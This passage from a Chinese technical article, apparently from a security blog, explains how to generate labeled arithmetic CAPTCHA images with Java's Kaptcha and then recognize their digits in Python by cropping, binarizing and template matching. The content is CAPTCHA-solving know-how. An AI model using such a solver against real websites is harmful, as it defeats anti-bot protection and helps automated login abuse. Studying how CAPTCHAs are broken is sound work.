inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;÷&#34;</span>).replace(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;*&#34;</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;×&#34;</span>).replace(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;?&#34;</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;？&#34;</span>) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;_&#34;</span> + DigestUtils.md5Hex(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>+System.currentTimeMillis())+<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;.jpg&#34;</span>;<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">再次执行结果如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>×<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>=？_b69426246067db177639de42b77082ab.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>÷<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>=？_d0ad2c5c50b4d8db2736093bdf2c08e8.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>÷<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>=？_d0a992ce88acf8a918f12646bef3a60d.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>×<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>=？_d0a992ce88acf8a918f12646bef3a60d.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9</span>-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>=？_d0a992ce88acf8a918f12646bef3a60d.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>=？_d0a992ce88acf8a918f12646bef3a60d.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9</span>=？_3479d65864cdbbed02d5e9acb8e5fa37.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>=？_3479d65864cdbbed02d5e9acb8e5fa37.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>=？_3479d65864cdbbed02d5e9acb8e5fa37.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">7</span>×<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>=？_3479d65864cdbbed02d5e9acb8e5fa37.jpg<br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">...</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">然后就是验证码图片的保存。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">主要代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">BufferedImage bi = DefaultKaptcha.createImage(capStr);<br/>String fileName = dir.getPath()+File.separator+capStr.replace(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;/&#34;</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;÷&#34;</span>).replace(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;*&#34;</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;×&#34;</span>).replace(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;?&#34;</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;？&#34;</span>) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;_&#34;</span> + DigestUtils.md5Hex(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>+System.currentTimeMillis())+<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;.jpg&#34;</span>;<br/>ImageIO.write(bi, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;jpg&#34;</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> File(fileName));<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">生成的验证码如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.375" data-s="300,640" style="" data-type="jpeg" data-w="160" src="https://wechat2rss.xlab.app/img-proxy/?k=fd6793ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVORrzucnYe2swJUQct3vnSQ5wRkQq3rvImZLwC442jFeCQSib8fOpmgg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><span style="color: rgb(153, 153, 153);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 11.2px;text-align: center;background-color: rgb(255, 255, 255);">2/1=?</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.375" data-s="300,640" style="" data-type="jpeg" data-w="160" src="https://wechat2rss.xlab.app/img-proxy/?k=812d8e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVeV5Q7p3wQto8wfs8CQxBmpJibSibVt1fUSXJwGtuosFrafflJE6k1kLg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><span style="color: rgb(153, 153, 153);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 11.2px;text-align: center;background-color: rgb(255, 255, 255);">3*5=?</span></p><p style="text-align: center;"><br/></p><p><span style="font-size: inherit;color: inherit;line-height: inherit;"><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);">到此获取标注好的验证码已经完成了，下面就开始进行验证码的识别。</span></span></p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x02  验证码的识别</span></h2><h3 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">1.分割识别</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">最早是根据文章《自动识别验证码破解上学吧题目答案》中的方法来进行验证码的识别，但是由于验证码不太规则，导致识别效果较差，后面就放弃了。这里列出简要过程。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">验证码图片为 60×160 像素的，两个数字的范围都是 0 到 9。对图片转成灰度图后并进行分割。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">image = Image.open(path).convert(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;L&#34;</span>)<br/>cropped_image1 = image.crop((25, 13, 50, 44))  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第一个数字的切图</span><br/>cropped_image2 = image.crop((65, 13, 90, 44))  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第二个数字的切图</span><br/></code></pre><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">可以自己找比较合适的分割位置。</p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">分割的效果：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6436781609195402" data-s="300,640" style="" data-type="png" data-w="696" src="https://wechat2rss.xlab.app/img-proxy/?k=50809b6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVXBSptia0geGGopu46jA3u2Xdg5icdnHS3KOFG7QB3cXibdd8sCFne63Ug%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">分割</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">然后进行二值化，遍历灰度图的像素点，这里以阈值66为界限，使得图片的像素点要么为纯黑 0，要么为纯白 255，下图是二值化之后的图片：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36486486486486486" data-s="300,640" style="" data-type="png" data-w="740" src="https://wechat2rss.xlab.app/img-proxy/?k=3f06ee8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVRwygybe0KZ2AKMo068EXecHdaDfHzVhY7NeN6k1b0Giak0jRw2ZY8Hw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">二值化</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">接着对验证码样本进行批量切图、转灰度图、二值化：</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">批量对图片进行分割，然后保存格式为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">数字_md5(时间戳).jpg</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">corpImg</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(name)</span>:</span><br/>    imgPath = <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;MathCodes/&#34;</span> + name<br/>    fname = name[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>:<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]<br/>    img = cv2.imread(imgPath, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>)  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 直接读为灰度图像</span><br/>    img1 = img[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">13</span>:<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">44</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">28</span>:<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">52</span>] <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">#分割</span><br/>    cv2.imwrite(fname+<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;_&#34;</span>+getMd5()+<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;.jpg&#34;</span>, img1)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span>:</span><br/>    names = os.listdir(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;MathCodes&#34;</span>)<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> name <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> names:<br/>        corpImg(name)<br/></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1778929188255614" data-s="300,640" style="" data-type="png" data-w="1158" src="https://wechat2rss.xlab.app/img-proxy/?k=473b1504&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVKLicls3zNFbES00ezyVHLCiacpmn4LaTmNcdVJTAyeAicMDIwibXnVg7bw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">切图</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从中挑选出噪点去除效果最好图片的作为模板，0 到 9 这 10 个数字各一个。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42857142857142855" data-s="300,640" style="" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=18d8cf21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVSAJW9yAotFowtmWh2mT8I9t49kaFFGFkxHJWwvdHCPqfsQwLSiconpA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">模板</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">分别遍历这几个模板图片的像素点并存为 0-1 矩阵：首先创建一个 24列 31 行的二维数组（所有元素都为 0），遇到黑色像素点就将 0 变成 1，此处需要注意二维数组中坐标与像素点坐标是相反的。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">num_info = [([<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] * <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>) <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> i <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">31</span>)]  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 创建一个宽度为24，高度为31的二维数组</span><br/>pixdata = img.load()<br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> y <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">31</span>):<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> x <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>):<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> pixdata[x, y] == <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>:<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># print(x, y)</span><br/>            num_info[y][x] = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 注意二维数组中坐标是相反的</span><br/>num_info_list.append(num_info)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">接下来就是识别了</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">num_info_list = []  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 这个数组用以存储全部数字的 0-1 矩阵</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> i <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">10</span>):<br/>    filename = <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;temp/&#39;</span>+str(i) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;.png&#39;</span><br/>    img = Image.open(filename)<br/>    num_info = [([<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] * <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>) <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> i <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">31</span>)]  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 创建一个宽度为24，高度为31的二维数组</span><br/>    pixdata = img.load()<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> y <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">31</span>):<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> x <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>):<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> pixdata[x, y] == <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>:<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># print(x, y)</span><br/>                num_info[y][x] = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 注意二维数组中坐标是相反的</span><br/>    num_info_list.append(num_info)<br/>img = Image.open(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;temp/067_1.jpg&#39;</span>)<br/>img = binarizing(img,<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">66</span>)<br/>img.save(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;temp/01111.png&#34;</span>)<br/>count_list = [] <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 记录当前图片像素信息与每一个 0-1 序列的匹配程度</span><br/>pixdata = img.load()<br/><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> i <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">10</span>):<br/>    count = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> y <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">31</span>):<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> x <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>):<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> pixdata[x, y] == <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">and</span> num_info_list[i][y][x] == <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 图片中黑色像素点出现的位置对应的矩阵点也是 1</span><br/>                count = count + <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span><br/>    count_list.append(count)<br/>print(count_list)<br/>print(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;当前图片的识别结果：&#39;</span> + str(count_list.index(max(count_list)))) <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 找到匹配数最大的那个元素的序号，而序号和数字是相同的。</span><br/></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img 